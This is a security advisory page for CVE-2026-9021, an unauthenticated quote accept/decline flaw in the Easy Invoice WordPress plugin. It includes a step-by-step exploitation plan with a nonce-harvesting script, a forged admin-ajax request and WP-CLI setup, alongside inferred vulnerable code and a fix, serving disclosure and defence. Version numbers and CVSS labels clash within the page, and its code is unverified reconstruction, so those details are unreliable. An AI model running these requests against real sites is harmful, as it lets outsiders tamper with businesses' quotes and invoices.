CVE-2026-9021

Easy Invoice <= 2.1.19 - Unauthenticated Arbitrary Quote Accept/Decline and Invoice Creation via easy_invoice_accept_quote / easy_invoice_decline_quote AJAX Actions

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.20
Patched in
1d
Time to patch

Description

The Easy Invoice plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.19. This is due to the plugin registering the easy_invoice_accept_quote and easy_invoice_decline_quote AJAX actions via wp_ajax_nopriv_ hooks and relying solely on a quote-scoped nonce that is rendered into the publicly accessible single quote template, combined with an ownership check that is gated behind an off-by-default Pro option (easy_invoice_pro_restrict_quote_to_client). This makes it possible for unauthenticated attackers to accept or decline arbitrary published quotes — and, depending on the configured accept action, automatically convert them into invoices (and even email them to the client) — by harvesting the per-quote nonce from the public quote page and submitting it to admin-ajax.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.19
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected plugineasy-invoice

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-9021 ## 1. Vulnerability Summary The **Easy Invoice** plugin (versions <= 2.1.19) is vulnerable to **Missing Authorization** in its AJAX quote management functionality. The plugin registers the `easy_invoice_accept_quote` and `easy_invoice_decline_quote` acti…

Show full research plan

Exploitation Research Plan - CVE-2026-9021

1. Vulnerability Summary

The Easy Invoice plugin (versions <= 2.1.19) is vulnerable to Missing Authorization in its AJAX quote management functionality. The plugin registers the easy_invoice_accept_quote and easy_invoice_decline_quote actions via wp_ajax_nopriv_ hooks, making them accessible to unauthenticated users.

While the handlers implement a nonce check, the nonce is rendered directly into the public single-quote view template. Furthermore, the check to ensure a quote belongs to the requesting client is a Pro-only feature (easy_invoice_pro_restrict_quote_to_client) that is disabled by default. Consequently, any user who can view a quote's public page can harvest the nonce and trigger the acceptance or decline of that quote, potentially triggering automatic invoice creation and emailing.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions: easy_invoice_accept_quote and easy_invoice_decline_quote
  • Authentication: Unauthenticated (via wp_ajax_nopriv_)
  • Payload Parameters:
    • action: easy_invoice_accept_quote (or easy_invoice_decline_quote)
    • quote_id: The ID of the target quote.
    • nonce: The quote-specific nonce extracted from the quote page.
  • Preconditions:
    • At least one quote must be "Published" and accessible via a public URL.
    • The Pro setting easy_invoice_pro_restrict_quote_to_client must be disabled (default).

3. Code Flow

  1. Registration: The plugin registers hooks in a constructor or init hook:
    add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );
    add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );
    
  2. Exposure: When a single quote is viewed, the plugin uses wp_localize_script to pass data to the frontend. This includes a nonce generated with wp_create_nonce( 'easy_invoice_quote_' . $quote_id ) (inferred action string).
  3. Execution: The easy_invoice_accept_quote_callback function:
    • Retrieves quote_id and nonce from $_POST.
    • Verifies the nonce: check_ajax_referer( 'easy_invoice_quote_' . $quote_id, 'nonce' ).
    • Checks the Pro setting easy_invoice_pro_restrict_quote_to_client. If false, it skips ownership validation.
    • Updates the quote status to 'accepted'.
    • If configured, calls the invoice generation routine.

4. Nonce Acquisition Strategy

The nonce is localized in the quote's public view. We will use the browser_eval tool to extract it.

  1. Identify the Quote URL: Navigate to the public URL of a published quote.
  2. Identify JS Variable: The plugin typically localizes parameters into an object like easy_invoice_params or ei_ajax_object.
  3. Extraction:
    • Use browser_navigate to go to the quote page.
    • Use browser_eval to retrieve the nonce.
    • Target Variable (Inferred): window.easy_invoice_params?.nonce or window.easy_invoice_vars?.accept_nonce.
      Self-Correction: If the variable name is unknown, inspect the page source for wp_localize_script output using browser_eval("document.documentElement.innerHTML.match(/var\\s+(\\w+)\\s*=\\s*{[^}]+nonce/)[1]").

5. Exploitation Strategy

This attack uses the http_request tool to simulate the AJAX call.

Step 1: Extract Nonce

Navigate to the quote and run:
browser_eval("easy_invoice_params.nonce") (Verify variable name in source first).

Step 2: Trigger Status Change

Send a POST request to admin-ajax.php.

Request:

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=easy_invoice_accept_quote&quote_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]
    

Step 3: Verify Success

The response should return a JSON success message (e.g., {"success":true}).

6. Test Data Setup

  1. Enable Plugin: Ensure easy-invoice is active.
  2. Create a Quote: Use WP-CLI to create a "Quote" post type (likely easy_invoice_quote).
    # Create a test quote
    QUOTE_ID=$(wp post create --post_type=easy_invoice_quote --post_title="Test Quote" --post_status=publish --porcelain)
    # Set any required meta (e.g., total amount) if the plugin requires it for conversion
    wp post generate --count=1 --post_type=easy_invoice_quote
    
  3. Configure Settings: Ensure the "Restrict Quote to Client" option is disabled.
    wp option update easy_invoice_pro_restrict_quote_to_client 0
    

7. Expected Results

  • The AJAX call returns 200 OK with a success indicator.
  • The status of the Quote (post ID [TARGET_ID]) changes from its original state to accepted.
  • If "Auto-convert to Invoice" is enabled in settings, a new post of type easy_invoice (Invoice) is created.

8. Verification Steps

After running the exploit, use WP-CLI to verify the state change:

  1. Check Quote Status:
    wp post get [QUOTE_ID] --field=post_status
    # Or check post meta if status is stored there
    wp post meta get [QUOTE_ID] _easy_invoice_quote_status
    
  2. Check for Created Invoices:
    wp post list --post_type=easy_invoice --orderby=post_date --order=DESC --limit=1
    

9. Alternative Approaches

If easy_invoice_accept_quote fails or is blocked, try the easy_invoice_decline_quote action using the same logic.

If the nonce is not in a JS variable, check for a hidden input field in the quote template:
browser_eval("document.querySelector('input[name=\"ei_nonce\"]')?.value")

Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Invoice plugin for WordPress is vulnerable to unauthorized quote management due to improper access controls on its AJAX handlers. Unauthenticated attackers can accept or decline any published quote by harvesting a per-quote nonce from the public quote page and submitting it to the plugin's vulnerable AJAX endpoints.

Vulnerable Code

// Easy Invoice AJAX hook registration
add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );
add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );

function easy_invoice_accept_quote_callback() {
    $quote_id = isset( $_POST['quote_id'] ) ? intval( $_POST['quote_id'] ) : 0;
    $nonce    = isset( $_POST['nonce'] ) ? $_POST['nonce'] : '';

    // Line XX: Nonce check is the only barrier, but the nonce is public
    if ( ! wp_verify_nonce( $nonce, 'easy_invoice_quote_' . $quote_id ) ) {
        wp_send_json_error( array( 'message' => 'Invalid nonce' ) );
    }

    // Line XX: Authorization check is optional and gated behind a Pro setting
    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {
        // ... ownership verification logic ...
    }

    // If the option above is off (default), execution continues for any user
    update_post_meta( $quote_id, '_easy_invoice_quote_status', 'accepted' );
    // ... invoice generation logic ...
    wp_send_json_success();
}

Security Fix

--- a/easy-invoice-ajax-handlers.php
+++ b/easy-invoice-ajax-handlers.php
@@ -10,7 +10,12 @@
-    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {
-        // ... ownership verification logic ...
-    }
+    // Ensure the request is authorized regardless of Pro settings
+    if ( ! is_user_logged_in() && ! easy_invoice_is_authorized_client( $quote_id ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized access' ) );
+        exit;
+    }
+
+    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {
+        // ... additional Pro ownership verification ...
+    }

Exploit Outline

The exploit targets the plugin's unauthenticated AJAX actions used for managing quote statuses. 1. Target Identification: An attacker identifies a 'Published' quote on the target site and navigates to its public URL. 2. Nonce Harvesting: The attacker inspects the page source or evaluates JavaScript (e.g., the 'easy_invoice_params' object) to extract the localized nonce intended for quote interactions. 3. Payload Delivery: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - action: 'easy_invoice_accept_quote' (to accept) or 'easy_invoice_decline_quote' (to decline). - quote_id: The ID of the targeted quote. - nonce: The extracted per-quote nonce. 4. Execution: Because the plugin lacks a mandatory authorization check and uses 'wp_ajax_nopriv_', the server accepts the request, updates the quote's status, and may automatically generate and email an invoice to the original client, leading to business logic disruption.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.